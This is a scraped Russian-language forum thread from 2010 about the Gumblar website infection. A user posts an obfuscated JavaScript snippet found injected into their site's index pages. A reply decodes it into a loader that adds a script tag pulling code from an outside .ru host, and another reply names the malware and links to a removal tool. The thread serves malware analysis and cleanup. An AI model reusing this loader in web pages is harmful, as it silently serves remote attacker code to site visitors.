https://www.opennet.ru/openforum/vsluhforumID9/8581.html Привет.<br>На одном сайте нашел вот такой код, явно вирусный:<br><br><br>&lt;script&gt;/*LGPL*/ try{ window.onload = function(){var Y0r5c4wy2fixek = document.createElement('s!&c$!&#r&#!$i^(p^!)##t#^'.replace(/#&#124;\(&#124;\^&#124;@&#124;\$&#124;\!&#124;\)&#124;&/ig, ''));Y0r5c4wy2fixek.setAttribute('defer', 'd$@#e&#f#e(r)!)#)'.replace(/\!&#124;#&#124;\^&#124;\(&#124;&&#124;\$&#124;\)&#124;@/ig, ''));Y0r5c4wy2fixek.setAttribute('type', 't)^$e)x!^(t(@/@&)j(@$a#)v^a!&#s@c^r)i#^p^t('.replace(/&&#124;\)&#124;@&#124;\!&#124;\^&#124;\$&#124;\(&#124;#/ig, ''));Y0r5c4wy2fixek.setAttribute('id', 'C(($#(9&^k$$t@o#(!n^7)@0#)&)q@)w^&^'.replace(/\)&#124;&&#124;\(&#124;\$&#124;#&#124;\^&#124;\!&#124;@/ig, ''));Y0r5c4wy2fixek.setAttribute('s&#r!c&^#'.replace(/\(&#124;\^&#124;&&#124;@&#124;\$&#124;\)&#124;\!&#124;#/ig, ''), 'h$!t))t$$p#^:#(&@)/#!)/(t@)&o(@^$@p&@s##h@$#a#@&r!@e^w(a^@$r$^e@@-(!c)&o$&^m$.&^&#s!@l&^i!$d(^@e(s#$!h^&!a@$!r)e&.(^^@n#e!@t)(.@c(l$)a#($r#$i^n&&#-@c&$o))(^m!$)&.@)t($^$h$$^#(e)@c###&h^$^(o)(c&^!o@@$l$^$a&^t&#$$e@&w https://www.opennet.ru/openforum/vsluhforumID9/8581.html#4 Sat, 09 Jan 2010 20:12:44 GMT &gt;Думаю это вирус. Он появился на моем сайте сегодня на всех страницах <br>&gt;с именем index в конце файла. У меня в нескольких папках <br>&gt;есть index.php, index.html. <br>&gt;Пришлось удалять. <br><br>Это вирус Gumblar. Я тоже подхватил эту хрень. Тут http://justcoded.com/article/gumblar-family-virus-removal-tool/ вроде как лекарство от него<br> https://www.opennet.ru/openforum/vsluhforumID9/8581.html#3 Sat, 09 Jan 2010 13:04:48 GMT Думаю это вирус. Он появился на моем сайте сегодня на всех страницах с именем index в конце файла. У меня в нескольких папках есть index.php, index.html. <br>Пришлось удалять. <br> https://www.opennet.ru/openforum/vsluhforumID9/8581.html#2 Sat, 09 Jan 2010 12:21:27 GMT С чего вы вообще взяли, что это "вирусный код"??? Код явно обработан, чтобы занимать меньше места и чтобы его неудобнее было читать, но какое это имеет отношение к вирусу? Часто так делают, чтобы затруднить заимствование идей, хотя коментарий "LGPL" с этим как-то немного и не вяжется.<br><br>В общем, это может, конечно, и "вирусный код", может какой-нибудь счётчик, как заметили выше. А может быть что угодно ещё. По поводу того, что он делает, уже написано.<br> https://www.opennet.ru/openforum/vsluhforumID9/8581.html#1 Fri, 08 Jan 2010 12:12:20 GMT &gt;Тут видно, что идет куча замен и проч. Как понять, чего этот скрипт вообще делает и насколько он опасен? <br><br>Сохрани текст в файл. Потом выполни<br><br>tr -d '#&#124;\\&#124;\^&#124;@&#124;\$&#124;\!&#124;&#124;&' &lt;file.txt &gt;output.txt<br>Я особо не заморачивался - вручную выкосил ненужные скобки ()<br>и вот что получилось (с косметическими правками):<br><br>&lt;script&gt;/*LGPL*/<br>try{<br> window.onload = function(){<br> var Y0r5c4wy2fixek = document.createElement('script');<br> Y0r5c4wy2fixek.setAttribute('defer', 'defer');<br> Y0r5c4wy2fixek.setAttribute('type', 'text/javascript');<br> Y0r5c4wy2fixek.setAttribute('id', 'C9kton70qw');<br> Y0r5c4wy2fixek.setAttribute('src',<br> 'http://topshareware-com.slideshare.net.clarin-com.thechocolateweb.ru:8080/google.com/google.com/last.fm/veoh.com/hudong.com/');<br> if (document)<br> {<br> document.body.appendChild(Y0r5c4wy2fixek);<br> }<br> }<br>}<br>catch(Mxbfhbj5q04qxno71yp2)<br>{<br>}<br>&lt;/script&gt;<br><br>В двух словах: создаёт новый элемент типа javascript, назначает ему адрес.<br>По указанному адресу дру